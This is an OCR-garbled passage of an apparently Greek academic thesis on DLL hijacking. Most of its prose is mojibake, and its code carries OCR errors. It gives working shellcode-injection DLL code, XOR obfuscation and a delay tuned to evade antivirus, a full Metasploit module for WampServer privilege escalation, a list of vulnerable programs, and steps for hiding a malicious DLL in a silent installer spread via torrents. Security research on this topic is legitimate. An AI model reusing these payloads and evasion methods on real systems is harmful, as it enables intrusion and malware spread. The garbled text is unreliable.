BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; X < 1; x++)
*(g++) = 0Ox00;
}

void ExecutePayload(void);
BOOL WINAPI D1lMain (HANDLE hD11l, DWORD dwReason, LPVOID lpReserved)

switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;
¥
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( @, "rundll32.exe", @, @, @, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS,
9, 0, &Si) &pl)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL,SCSIZE, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);
#ifdef WIN64
ctx.Rip = (DWORD64)ep;

#else
ctx.Eip = (DWORD)ep;

#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

ExitThread(0);
}
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2ToVv KWSLKa TLo Mavw PAEMou e va £xoupe kaléoel Tnv DIIMain kot ekel péoa KaAoU e TV
ouvaptnon ExecutePayload();

Méoa oTnV cUVAPTNON QUTH €XOULE TNV Snuloupyla evog process BAlovtdg to o
suspended mode. To process nou xpnotlpomnoleitat givat to rundli32.exe

ApEowG PeTA SeopeVEL PN LEoO OTO process Kol avilypadel To shellcode ekel péoa.
(LPVOID) VirtualAllocEx(pi.hProcess, NULL,SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 90);

To neplexopevo tou &code mepléxet To shellcode kal Bpioketal péoa oto template.h mou
£€xoupe kavel #include.

#tdefine SCSIZE 2048
unsigned char code[SCSIZE] = "payload";

JTNV oUVEXELO KaTOXWwpPEL TNV ep oto Eip 1) oto Rip avaldywg av eival 64 1} 32 bit Kal apéowg
UETA EekLvAeL To process os suspended mode.

Apa e auTo To TpLK Sev doptwvou e karmoto dil aAAd SnuoupyoUue Eva aveédptnTo
process Kol EKTEAOUUE TO KWSLKA A,

Baloupe to shellcode mou dnuloupynooape pe to msfvenom oto template.h to kGvoupue
compile to petovopdloupe oe SHFOLDER.dII kat to TomoBetol e otov 1810 pakeo e To
wallet yia bitcoins kot To ekteAoUE.

MapatnpoUUE OTO process monitor mMwg EKAeLos To MOPTOPOAL 0AAG To process rundll32.exe
SnuoupynBnke
"c"- Hadeonyettings.exe 171008 K 2U/MB K 996 Hadeon Settings: Host Appll... Advanced Micro Uevices, ...
AvaztUlexe «0.01 20448 K 27260 K 9648 Avast Antiviug AVAST Software
@iusched exe 1600 K 6.256 K 13044 Java Update Scheduler Oracle Corporation
(Wjundl32 exe <0.01 13496 K 16.040K 2796

11.100 K 13664 Sysintemals Process Explorer  Sysintemals - www sysinter...
0.36 25772K 45136 K 15124 Sysintemals Process Explorer  Sysintemials - www sysinter. ..

£ & procexp.exe
L procexpb4 exe

EIKONA 10 ENITYXHZ AHMIOYPTIA PROCESS

Kat emtiong pog eméotpePe éva shell oto meterpreter kot HAALOTA HE SLKOLWLATO
Sloxelploth adou n edbappoyn yla va sykatootabel O€AesL Sikatwpoto SLaxelpLoth.

ation (In Men

EIKONA 11 ENITYXHZ AHMIOYPTIA METERPRETER ME AIKAIQMATA AIAXEIPIZTH

Na tovicoupe o€ auTo To onpelo wg To payload to «mepdoape» amno to encoder
shikata_ga nai 3 ¢opég, 1o avefdaocape oto nodistribute kat evtomniotnke and 14/38
antivirus.
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4.3 Anuoupyla thread avti yia Process

Nwpitepa avadépape tnv Snuioupyia evog process péoa anod tnv dlimain. TuBa yivel av
avti yla process dnuloupynooupe €va thread péoa oto CurrentProcess mou gkvaetl LOALG
KAVOUE SUTAG KALK TO eKTEAEDLUO.

Oa «matnooupe» MAvw oto template Tou msfvenom yia tnv dnuioupyia tou dil. Etol £€xoupe
£T0LUO TOV KwdLKa yia tnv dnuoupyia tng dlimain kat TG mapapéTpoug yla tThv Séceuon
HVAKNG KL YL TNV EYYPODr OTNV UVAuN.

Ag SoUpe TL akplBwe oupBaivel pe tnv CreateThread(). H function dnuloupyel éva véo
thread yla éva process. Amopaitntn MopAUETPOG TTOU TIPETEL VO KaTaxwpnBel elval n apyLkn
SlevBuvon tou Kwdika mou To véo thread mpokeltal va ektedéoel. H SteBuvon autn sival
To Gvopa TG function mou mpOKeLTalL Vo eKTEAEOTEL.

e AnuwoupyoUpe to thread péoa otnv dlimain kat kaAoUpe tnv function mou €xeL péoa
Tov KWOLKa tou BENouE va ekteAeoTel oto thread.

CreateThread(NULL, @, FunctionForThread, NULL, ©, NULL);

e AnuwoupyoUpe tnVv kN pag function omou ekel Seopevoupe pvRun Kat ypadoupe
Tov Kwdka otnv pvhAun. PSIZE eival to péyeBog tou shellcode evw dpld eivat to
payload. AileL va onuelwBel mwg xpnolpomnolovpe thv GetCurrentProcess() yla va
BpoLe To process.

DWORD WINAPI FunctionForThread(LPVOID lpParam)
{

LPVOID virtualloc;

virtualloc = VirtualAllocEx(GetCurrentProcess(), NULL, PSIZE, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

WriteProcessMemory(GetCurrentProcess(), virtualloc, (LPCVOID)&dpld, PSIZE, ©);

((void(*)())virtualloc)();

return 1;

To kavoupe compile, To TonmoBetoU e oTOV 1810 PAKEAOD e KATIOLO EKTEAECLIO TIOU £XEL
gunaBela to petovopdloupe to dll oto dvopa tou vulnerable dil katl Tpéxoupie To
ekTeAEOLO. Avolyel session meterpreter kavovikd. To MPOPANUA KOG eival WG eviomilete
oo apKeTA antivirus.

Xor 1o payload

‘Evag TpOmog yLa va mpooTepAcou e KAmola antivirus elval va kdvou e xor kaBe byte Tou
shellcode pe kamoto key, va to kataywpicoupe xored to shellcode kat va to Kdvoupe un-xor
Alyo mpv yivel avtiypadel otnv pvAun.

lpadoupe pa emavaindn émou naipvel kaOe byte anod to shellcode kat to KAveL xor e Tov
XOPAKTAPO TIOU TOU €XOUHE SWOEL. 2To mapadelypa pag eivat o xapaktipag 'Y’ mou o HEX
LooUtal pe 0xB6
for x in bytearray(shellcode) :

y = x"0xB6

encoded += "\\x'

encoded += '%@02x' %y
print encoded
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ZTNV oUVEXELA KaTaxwpoU e to encrypted payload oto dll kal ekel to kdvoupe decrypt.
lpadoupe pLa emavaAnn mou epVAEL amo OAa Ta byte Tou mivaoka KoL Ta KAVEL XOr UE TO
KAeldi pog 9" kat kataywpel To anotédeopa otnv petaBAntn dpld (decrypted payload).

for (int i = ©; i < sizeof epld; i++)

{
}

dpld[i] = ( epld[i] & ~'9" ) | ( ~epld[i] & '9' ); //dpld[i] = epld[i] ~ '9";

Me autd tov tpomo ¢taoape ota 2/38 aviyveuotpa antivirus(Kapersky kot MS Security
Essentials).

Me mota AoyLkr OpwG autd Ta duo antivirus evtomilouv To meterpreter pag; Mia tepimtwon
Ba Ntav va BAEnouv TV cuvdeon mou avolyel amno to dil . Fpagape pa function mou
Snuoupyel pla kaBuoTtépnaon, OVIWG TO OMOTEAECUA ATOV:

i Flename & Size

l 7331K8
S MD5 L SHA256

e63c31 e750ab1 d4632cI0ceedSeSETET 0402131126 8315108 3¢2¢ 256 1B A0URCIACEEA3021 290046241 41 EA2¢B3
% Detected by [ Scan Date

138 1/20/2018, 2:57:00 PM

Your file has been scanned with 38 different antivirus software (no results have been distributed).
The results of the scans has been provided below in alphabetical order,

Rescan This File

Tip: hover over an Antivirus to see its version at the time of the scan

Clean P Kaspersky Antivirus: HEUR

4 A-squared: Clean Wil VS Security Essentials: Clean
B AVG Free: Clean M) Malwarebytes Anti-Malware: Clean
o;\d_mara: Clean ) Mcatee: Clean

EIKONA 12 ANIXNEYZH DLL AMO 1 ANTIVIRUS ZTHN IZTOZEAIAA NODISTRIBUTE

OAOKANPOG 0 KWOLKAG e OAQ TOL OTOLXELD TTOU avapEPALE TILO TAVW Elval 0 akoAouBog.

#include <windows.h>
#include <time.h>
#define PSIZE 2300

unsigned char epld[PSIZE] = "XoredPayload";

//function gia kathisterisi xronou
void delay(unsigned int mseconds)
{
clock_t goal = mseconds + clock();
while (goal > clock());

}

DWORD WINAPI FunctionForThread(LPVOID lpParam)
{
LPVOID virtualloc;
//XOR decoder shellcode
unsigned char dpld[PSIZE];
for (int 1 = ©; i < sizeof epld; i++)
{
dpld[i] = ( epld[i] & ~'9" ) | ( ~epld[i] & '9' ); //dpld[i] = epld[i] ~ '9';

//klisi GetCurrentProcess() gia VirtualAllocEx - WriteProcessMemory

20



virtualloc = VirtualAllocEx(GetCurrentProcess(), NULL, PSIZE, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

WriteProcessMemory(GetCurrentProcess(), virtualloc, (LPCVOID)&dpld, PSIZE, ©0);

//kathisterisi 10 sec gia bypass MS Security Essentials
delay(10000) ;

((void(*)())virtualloc)();

return 1;

}

//dimourgia dllmain
BOOL WINAPI D1lMain (HANDLE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
//dimourgia thread kai klisi tis function
CreateThread(NULL, ©, FunctionForThread, NULL, ©, NULL);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;

21



5 Epyaleia

‘Exovtag katavonoel Anpwg tnv €vvola tou dll hijacking kat mwg pnopou e va
EKUETOAAEUTOUE aUTH TRV aduvapia ag SoU e kamola epyalsio mou pog fonbouv va
Bpouue dll hijacking aduvapieg og mpoypaupata.

5.1 Process Monitor

‘Eva epyaleio tng Microsoft mou okormo €xel va kataypadel OAa Ta process mou ekTeAolVTAL
oTov uTtoAoyLoth. Me Ta katdAAnAa GiAtpa UmopoULE Va EVTOTIICOULE OV OE €Va EKTEAECLUO
gxeL dll hijacking mpoBAnua.

1) 3to 6voua Tou process name BAOUE TO MPOYPOULO TToU BEAOUUE va eAEYEOUE.
2) Zto Path Baloupe povo apyeia .dll
3) 2to result Balouvpe “NAME NOT FOUND”

=4

File Edit Event Filter Tools Options Help

2@ ARpE TAG B A &£B.040M

Time of Day  Process] Lt De ~
GAT00 G516\ Wxampg | oo Monitor Flter * JENOTFOUND  Des
6:43:00.6524230 W xampy N ENOTFOUND  Des
643006537534 1 @ vamp DSPIaY eniries matching these conditons: ENCTROUND Dot
6:43:00.6546111 . W xampy | Architecture Vs v w[then 'indude <~ JENOTFOUND Des
£:43:09.2673850 1 1 xampy ENOTFOUND  Des
6:43:09.8925240 . # xampy Reset add Remove ENOTFOUND  Des
6:43:09,8927587 py ¥ xampy S ENOTFOUND  Des
6:43:09.8931470 pu # xampy ENOTFOUND  Des
6:43:09,0998747 1y Wxampd | Column Relation Value Action ~| JENOTFOUND  Des
einta et TP @ Frocess Name contans <amop Include ENOTTOUND D
643099796040 01 Fnampd | 121 B Result contain NAME NOT FOLIND nclude ErcTroUND Do

£:43:09,9813201 . #1 xamp| @ Path contains dl Include ENOTFOUND  Des

6:43:09,5830697 .yt 9 wampy € Process Name is Procmon exe Exclude ENOTFOUND  Des
6:43:09,9865051 .yt BExampy | B2 € Process Name is Procexp exe Exclude ENOTFOUND  Des
6:43:09,5886017 .yt 97 wampy €3 Process Name s Autoruns exe Exclude ENOTFOUND  Des
6:43:09,9904125 1 =MDl | 7] 69 Process Name s F 64 Exclude v | JENOTFOUND  Des
6:43:09.9923554 1 ¥ xampy ENOTFOUND  Des
6:43:09,9943116 . #xampy oK Cancel Appl ENOTFOUND  Des
6:43:09,9962075 . ¥ xampy _ ENOTFOUND  Des
£:43:09.9582363 . # xampp-win3Z-7 T FUVCTE . THUZU Bk UreateFle C-\Users\DrunkiAppUata Local' lemp’ dr WAME NOT FOUND ~ Des
6:43:10.0000394 i W xampp-win32-7.1.7-0-VC144... 19020 @Cmateﬁ\e C:\Users\Drunki“AppData’\Local\Temp berypt il NAME NOTFOUND  Des

EIKONA 13 PROCMON ME THN XPHZH ®IATPQN

5.2 Rattler

To Rattler eivat éva epyaldeio mou autopatonolel tnv Stadikacia epeong euntabetwv DI
preloading attacks. Xtnv apyrn ektelel To mpoypappa pia popd Kot Snuioupyei pio Alota pe
ta 6Aa ta dil tou Intdel To MPOYPAUO KATA TNV EKKLVNOT) TOU. AUECWG LETA KAEIVEL TO
npoypappa kat dnuoupyet £va dll mou to Palel otov (6510 GAKEANO e TO EKTEAECLUO KL IE
OVOLLOL TIPWTO Ao TNV AloTa TTou €XEL SnULOUPYAOEL.

Aéxetat 6U0 MapapETpoug To path Tou ekteAéoiLou kal to mode (MPog To mapwv eivat povo
1), omwg BAEmoupe otnv pwrtoypadia mapakdTw.

rufus-2

TION: rufu

EIKONA 14 MAPAAEITMA XPHZTHZ EPTAAEIOY RATTLER
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5.2.1 Rattler extension

Zav enMéKTaon Tou rattler ypayape éva mpdypappa mou avoiysl moANamAd rattler. Zav

TIOPALLETPO TO TIPOYPAMUA Hag Ttaipvel To pakeAo exetotest Omou ekel péoa Bpiokovtal OAa
Ta eKTEAEOLUA TTIOU BEAOUE va EETACOUE. MOALG EKTEAECOULE TO TIPOYPALA TINYALVEL O

KABe ekTeAEOLUO KaL SnuLoupyel éva pakelo yla autd Kot TomoBetel péoa. ITNV CUVEXELD
ekTeAEl TO KAOE €va eKTEAEDLUO EEXWPLOTA.

using System;

using System.IO;

using System.Collections;

using System.Text.RegularExpressions;
using System.Threading;

public class RecursiveFileProcessor

{
public static void Main()
{
string path = "exetotest";
if (File.Exists(path))
{
CreateDir(path);
ProcessFile(path);
else if (Directory.Exists(path))
{
ProcessDirectory(path);
}
else
{
Console.WritelLine("{@} is not a valid file or directory.", path);
}
}
public static void ProcessDirectory(string targetDirectory)
{
string[] fileEntries = Directory.GetFiles(targetDirectory);
foreach (string fileName in fileEntries)
{
CreateDir(fileName);
ProcessFile(fileName);
¥
}
public static void CreateDir(string path)
{
System.IO.Directory.CreateDirectory(path.Replace(".exe", String.Empty));
}
public static void ProcessFile(string path)
{
Console.WriteLine("AldBaocpa apxeiwv omo tov ¢akeAo");
Console.WriteLine("{0@}", path);
string sourceFile = path;
string newpath = path.Replace("exetotest", String.Empty);
newpath = newpath.Replace(@"\", "");
string destinationFile = path.Replace(".exe", String.Empty) + @"\" + newpath;
Console.Write("sourceFile file : " + sourceFile + System.Environment.NewlLine);
Console.Write("desstination file : " + destinationFile+ System.Environment.NewLine);
System.IO.File.Move(sourceFile, destinationFile);
System.Diagnostics.Process.Start("Rattler_32.exe", destinationFile + " 1");
Thread.Sleep(4000);
}
¥
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6 Aduvapiec oe mpoypappata Kat Privilege Escalation

Y& auTO To Kepahalo Ba Soupe edpappoyEc mou €xouv aduvapia oe dll hijacking. Ztnv apxn

EeKLVA e Pe TO apXEla eykaTAOTAONG TWV EDAPUOYWY, akoAoUBoUV Ta POYPALUOTA TTOU

gival kateuBelav ekTEAECLUA XWPIC EYKATAOTOON KOl TEAOG TA EYKATECTNUEVA
npoypappata. TEAog Ba SoUpe avaAuTikG TV aduvapia otov wampserver.

6.1 Installers

Mapakdtw mapouctdloupe Alota poypapdtwy tou Bpédnkav suntadr os aduvapia dll
hijacking, dvoua mpoypaupatog, €kdoon kal To ovopa tou suntaboug dil mou TomoBetol e

otov ¢pakelo. OAa ta mpoypappato tne Alotag pag ivouv dikatwpato SYSTEM.

Ot SOKUUEC OTIC TTOPAKATW EPAPHUOYEC EXOUV yivel og meptBallov Windows 10, 8 kat 7.

Edapuoyn ‘EkSoon Ovopa apxeiou dll
Cryptocurrency Wallets
Bitcoin Core 0.15.1 main.dll, SHFOLDER.dII
Dogecoin 1.10.0 SHFOLDER.dII
Antivirus
Symantec Endpoint 14.0.3752.1000 IPHLPAPI.DLL
Protection
Kapersky / ALL* DNSAPL.dII
Microsoft
Skype Latest cryptui.dil
Visual Studio Latest edputil.dll
Microsoft Office 2007 CRYPTSP.dII, IPHLPAPI.DLL, cryptnet.dll,
riched20.dll
Games
League of Legends ‘ Latest TextInputFramework.dll
Privacy
Lock Crypt 3.10 RichEd20.DLL
Steganos Privacy 19.0.1 SHFOLDER.dII
Suite
Misc
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Dev-Cpp 5.11 SHFOLDER.DLL
Dynamic DNS 4.1.1 RichEd20.DLL, SHFOLDER.dII
Update Client
Glarysoft Disk 5.0.1.61 textinputframework.dll, RichEd20.DLL

SpeedUp

MusicBee 3.0 Update 4 RichEd20.DLL

Openvpn 2.4.2-1601 SHFOLDER.DLL
Sumatra PDF 3.1.2 dbgcore.DLL

rufus 2.18 RichEd20.DLL
USB Secure 2.15 RichEd20.DLL
Windows 10 2.1.9 RichEd20.DLL
Manager
Bitvise SSH Server 7.38 RichEd20.DLL
Bitvise SSH Client 7.36 RichEd20.DLL
Glary Disk Cleaner 5.0.1.134 SHFOLDER.DLL
DAEMON Tools Pro 8.1.0.0654 SHFOLDER.DLL

MINAKAZ 1 AISTA EYNAGQN EQAPMOIQN 2E DLL HIJACKING

EOAPMOTEZ NOY EFINAN AOKIMEZ

BAAYNAMEZ mXQPIZ AAYNAMIA. m =

FPAOHMA 5 ZTATIZTIKH AMEIKONIZH TOY ZYNOAOY TQN EQAPMOTQN MOY EFINAN AOKIMEX

YuvoAika éywvav SokKLUEG o 167 edaployEC EK TwV omoiwv oL 25 Atav suntadng oe dll
hijacking aduvapia pe to RichEd20 kat SHFOLDER va sival ta mo dnpodiAn ovouarta oe dll.

'OAeg oL epappoyEg amattovoav xpriotn Administrator ylo TNV yKoTAOTACN KAL UE TO
exploitation pag édwoav Privilege Escalation.

6.2 StandAlone Programs

‘Eva and ta epyalela MOU MAPOUCLACAE Kol TILo Ttavw yia tnv eVpeon DIl hijacking
aduvaulwv eival to Process Monitor To omolo eival kaL autd euntabég og auTo Tov TUTIO
aduvaplwy. MNa va £xel TpooBacn ota processes XPELAETAL VAl EKTEAELTOL e SLKOLWUOTA
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Slaxelploth £1oL Sivel kot otov emitiBgpevo Sikalwpata Slaxelplotr). Mapdpola Kataotoon
KoL pe o epyaleio OllyDbg yvwoto yla tnv xprion tou oto Reverse Engineering.

Edappuoyn ‘Exkdoon Ovopa apyxeiou dll
OllyDbg Latest msvcrt.dll
Procmon Latest uxtheme.dll

MINAKAZ 2 AIZTA EKTEAEZIMQN MPOTPAMMATQN ME EYMNAGEIA ZE DLL HUJACKING

6.3 Eykateotnueva MNMpoypappata

APKETA gyKateoTnUéva poypappata ival eurtadn os dll hijacking aduvapieg yia
mapAadelya To mpoypaupo notepad++ oto Msimg32.DLL.

3 » Program Files (x86) » Notepad++ v & | Search Notepad=
Name Date modified Type

File folder

File folder

File folder

localization

plugins

updater
[5] change.lag
[ config.modelxml
|_| contextMenu.xm|
|| functionListxml
[ tangs.modelxmi
|| LICENSE
[£] Msimg32.0LL SSL-UNIPI
[ notepad+ +.exe
<] NppShell_0.dil DLL Hijacked!
=] readme.tt
[4] sciLexer.dil
[ shorcuta
[ styl delxml
4% uninstall.exe

Text Docurr
XML Docur
XML Docur
XML Docur
XML Docur
File

Application

Application
Application
Text Docun

Application

XML Docur

XML Docur

Application

EIKONA 15 DLL HUACKING :THN EQAPMOTH NOTEPAD++

C:\Program Files (x86)\Skype\Phone - wlanapi.dll

C:\Program Files (x86)\Steam - Wlanapi.dll

C:\Program Files (x86)\VideoLAN\VLC - DSOUND.d11l

C:\Users\*\AppData\Local\Viber - wow64log.dll

C:\Users\*\AppData\Roaming\ICQ\bin - Pdh.dll,cscapi.dll
C:\Users\*\AppData\Roaming\Telegram Desktop - UXTHEME.DLL, WTSAPI32.DLL, dbghelp.dll

C:\Users\*\AppData\Local\Microsoft\OneDrive\17.3.6998.0830 - FileSyncShell.d1ll

Kat n Alota pmopet va yivel ToAU peydaAn. ANG:

A) Aev ektehoUvtal pe Sikatwpato Sloxelploth dpo dev emituyxavetol Privilege Escalation
B) ZuvnBwc¢ amalteital SikalwpOTA SLAXELPLOTH YLA VA KAVELG AAAQYEG OTOU PAKEAOUG TOU
Program Files

Xpnotipo Ba Atav yla va mapapeivel Kaveig persistence og KAOLOV UTIOAOYLOTH.
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6.3.1 WampServer Privilege Escalation - Meplypadn & Exploit
6.3.1.1 H edapuoyn

Mpokettal yia pa Windows-based web development mAatdopua, mou mepléxel ToANEG
Aettoupyleg og éva mpoypappa. Me armAd AOyLO TTPOKELTAL YLa La edaployr) TTOU eyKabLotd
tov apache, tnv php, mysql otL xpelaletal evag web developer yia va KAvel SOKLIEG OTOV
umtoAoylotr Tou divovrag kal éva euxpnoto eptBarlov diaxeiplong.

6.3.1.2 Nepypadry aduvauieg

By default, n eykatdotacn tou wampserver yivetol otov ¢pakelo c:\wampb4 oe autov Tov
dakeho €xeL mpooBaoh o xpnotnc.

Apa karmoto¢ BUILTIN\User pmopel va mpooBoel apyela og auto tov pakeho xwpic va
Xpelaletal va eival SLOXELPLOTAG.

To ekteAéoiluo wampmanager.exe €xel euntdBela opwg ot dll hijacking ota dil RICHED20.DLL,
olepro32.dll kat tautoxpova amattel ta uPpnAotepa dtabéoipa Sikatwpata. Etol ya
mapadelypa av o xpnotng ivat dlaxelplotng Ba epdaviotelt UAC kat n epapuoyn Ba
EKTEAEOTEL PE SIKOLWUATO SLAXELPLOTH.

tionLe
ilable™

EIKONA 16 AIKAIQMATA IA THN EKTEAEZH TOY WAMPMANAGER.EXE

‘EtoL av kamnolog mpoaBéoel éva malicious dll pe to 6vopa RICHED20.DLL fy olepro32.dll oto
dakelo C:\wampb4\ (mou £xel SIKALWUOTA VA TO KAVEL) , 0Tav To BV eKTEAEDEL TO
wampmanager.exe, Tlou elval To apxeio mou avolyel Tnv Staxeiplon tou apache, mysql KTA,
TOtTE otov emutifgpevo Ba emotpéPet shell pe Sikatwpato SYSTEM.

6.3.1.3 Metasploit Exploit

r manually

EIKONA 17 WAMPSERVER EXPLOIT SILENT MODE ON
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Mpayape éva Metasploit exploit mou ekpetaldevetal tnv dll hijacking aduvapia tou
wampserver. OL eTIAOYEG TIOU TIPETIEL VOL CUUTIANPWOEL O XProTNnG €ilval ot e€AG:

DLLNAME: ExeL va Stadé€el avapeoa o olepro32 r} RICHED20 omovu ival ta ovopata twv dil
Tou €xeL aduvapia o wampserver

MODE: ON adou avéPet to malicious dll va ekteAeotel 0 wampmanager, OFF va unv
eKteAeoTEL

PATH: To path oto tomko malicious dll mou B€Aoupe va avePet

SESSION: X€ molo session va eKTeAeoTel TO script

from
st from
44

ng interaction with

neterpreter =

EIKONA 18 WAMPSERVER EXPLOIT SILENT MODE OFF

WAMPSERVER 3 — METASPLOIT EXPLOIT
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core’

class MetasploitModule < Msf::Post

include Post::File
include Post::Common

def initialize(info={})
super(update_info(info,

"Name" => 'WampServer 3 D11 hijacking (PrivEsc & Persistence)’',
'Description’ => %q{
This module exploits a dll hijacking in WampServer 3 (wampmanager.exe)
s
'License’ => MSF_LICENSE,
'Author’ => [ 'Vasilis vkermelis@ssl-unipi.gr' ],
'Platform’ => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]

)
register_options([
OptString.new('PATH', [true, 'Malicious dll local location']),
OptEnum.new( '"MODE', [true, 'Silent mode', 'ON', %w(OFF ON)]),
OptEnum.new( 'DLLNAME', [true, 'Choose Vulnerable dll name', 'olepro32',
%w(RICHED20 olepro32)])

1
end
def run
print_status("Connecting to the session...")
begin

if file?("c:\\wamp64\\wampmanager.exe")
print_status("Wampmanager Exist on c:\\wamp64")
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print_status ("Uploading malicious dll...")
uploadll()
silentmode()

else
abort()

end

rescue ::Exception => e

print_error("Can't find Wampmanager on c:\\wamp64 #{e}")
end
end

def uploadll()
begin
case datastore[ 'DLLNAME' ]
when 'olepro32'
upload_file("c:\\wamp64\\olepro32.dll", datastore[ 'PATH'])
print_status ("olepro32.dll uploaded successfully")
when 'RICHED20'
upload_file("c:\\wamp64\\RICHED20.DLL", datastore[ 'PATH'])
print_status ("RICHED20.DLL uploaded successfully")
end
rescue ::Exception => e
print_error("Error uploading dl1, maybe permission denied #{e}")
end

end

def silentmode()
begin
case datastore[ '"MODE']
when 'ON'
print_status ("Silent MODE ON... Waiting user run wampmanager
manually™)
when 'OFF'
print_status ("Silent MODE OFF... Executing wampmanager")
commands = ["C:\\wamp64\\wampmanager.exe"]
list_exec(client, commands)
end
rescue ::Exception => e
print_error("Error executing wampmanager #{e}")
end
end

def list_exec(session,cmdlst)
00
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "Running executable #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true,
'Channelized' => true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
end



7 Tpomnoc olaomopac dll hijacking

Y& aUTO To KepaAalo yivetal mapouaiaon kamolwv pebodoAoylwy yla Tnv mpowdnon twv
malicious dll pe tnv ekpetdMeuvon tou dll hijacking.

7.1 Me puowkn mapouoia - Dakelog Downloads

O T1L0 YVWOTOG TPOTMOG eival va tomoBetel kaveig otov pdakedo Downloads Twv Bupdtwy Ta
malicious dll kat £T0L 6tav ektedovvtal ol epappoyEG 0 eMITIBEUEVOC va talpvel mpooPaon
OTOV UTTOAOYLOTH.

7.2 AT[OU.OLKQUOLléVOQ - An LJ.LOUpv'LOL msi armo ta exe Twv installers
H Aoyikn elval amAn: €xou e To installer mou eival eunaBgg oe dll hijacking €éxoupe kot to
malicious dll, dnuloupyolpe éva véo installer dmou mepLéxel kot ta Suo apyeia pall.
Bpiokovtal oto (610 onpeio kal £€ToL 6tav ekTeAECEL 0 VEOG installer Tov moALo installer Ba
ekteAeotel kat To malicious dll.

©a XpNOLUOTIOL)COUHE YL TO TAPASELYLA LaG TO

Edapuoyn ‘Exboon Ovopa apxeiou dll
League of Legends Latest TextInputFramework.dll
MINAKAZ 3 AAYNAMIA TOY MAIXNIAIOY THZ ETAIPEIAZ RIOT LEAGUE OF LEGENDS

BrAua 1°

EykaBiotol e to npdypappa Advanced Installer yia va Snuloupyricoupe msi apxeio amno to
exe installer League of Legends.
=45 MSI from EXE(s)

O

EIKONA 19 AHMIOYPTIA MSI APXEIOY AMO EXE
Briua 2°

Erudéyoupe tnv Snuoupyia evog Package amo ta apyeia League of legends installer kat oto
additional files BaZoupe to malicious dll.

Maintznance Cammand Liss.

EIKONA 20 MPOZOHKH TOY EXECUTABLE KAI TOY MALICIOUS DLL
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Brjua 3°
Ermtidéyoupe Silent installation oto véo installation €tol wote va 600si BapuTnta oTo MAALO
installation.

Mew M5I from existing EXE packages x

Package Options
Configure general installation package options

[+ silent installation (simple progress and errar handling)

download/extraction folder:

[#] Show MSI information in Programs and Features (Add or Remove Programs) applet
in Control Panel

< Back Finish Cancel

EIKONA 21 ENIAOTH "SILENT" INSTALLATION
Brua 4°

Matadpe Finish kat to apyeio msi Snuoupyndnke 6TOU OTNV oUCLA Elval LOVO €va progress
bar 6nw¢ paivetal otnv pwrtoypadia, apécws Letd ekteleital to dll pag kot oty cuvexeLla

o installer o mpaypaTikoG.

ﬁ! League of Legends.msi 20/1/2018 11:15 pp Windows Installer ... 72.599 KB

League of Legends

El Please wait while Windows configures League of Legends
=

‘Gathering required information

I Cancel

EIKONA 22 EKTEAEZH TOY NEOY MSI
Brjpa 5°
AmooToAn Tou apxeiou oto Bupa:

- ZtéAvoupe To Msi péow LotoceAiSwv.
- AveBaloupe o msi og torrent site.

31



8 League of Legends, Riot Games - Bug Bounty

open (1) P Al 2)

Vasilis (vasilistcp) a5
wase Latest actiity
® 300598 LOL Installer dil hijacking EZE3 1oL Installer dil hijacking
te ® Triaged (Open) No Rating (-—-) Add
]
priviege Escalation 1y Erivate

ADID HACKER SUMMARY

vaslistep 1 Ric
The executable installer of “League

2gends installer ELNE.axe” for windows contains 3 DLL hijacking vulnerability
that could allow an unauthenticated, remote attacker to execute arbitrary code on the targeted system. This vulnerability
‘exists due to 3 DLL file is Iozded by ‘League of Legends installer EUNE.xe improperly. And it allows n sttacker to load
this DLL file of the attacker's choosing that could execute arbitrary code without the user's knowledge.

Affected Product :

Latest Lesgue of Legends installer
Cownload Link

2 skamaind.net %20 egends320installer%20EUNE exe

EIKONA 23 TO AITHMA TA BUG BOUNTY 2THN RIOT MEzZQ TOY HACKERONE.COM

‘Exava avadopad otnv Riot Games tnv aduvapia mou BpéBnke otov installer tou matyvidLoL

League of Legends kal eykpiBnke n anddocn xpnUatikol mTocol HECW TOU MPOYPALUOTOG

bug bounty t¢ etaipeiac.
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9 Mpootaocia

9.1 MPOoYPAUUATLOTEC

H peydAn euBuvn ya tv npootacio and tig aduvapieg dll hijacking «médtel» otoug
npoypappatiotés. Opilovrag ta full path twv dil péoa oto mpoypappa AUvetal to
TPOPBANuUa.

Mua ermumAéov achdaAela Ba Atav va mpooBéoel o mpoypappatiotig checksum hash tou dll
TIoU B€AEL va XpNOLLLOTIOLROEL KOL VAL TO TIPOCBOECEL LECA OTOV KWSLKA TOU TTPOYPOUATOC.
‘EtoL otav Bpet éva dll To mpoypappa Ba pénel va tatplalet kot To checksum hash mou eivat
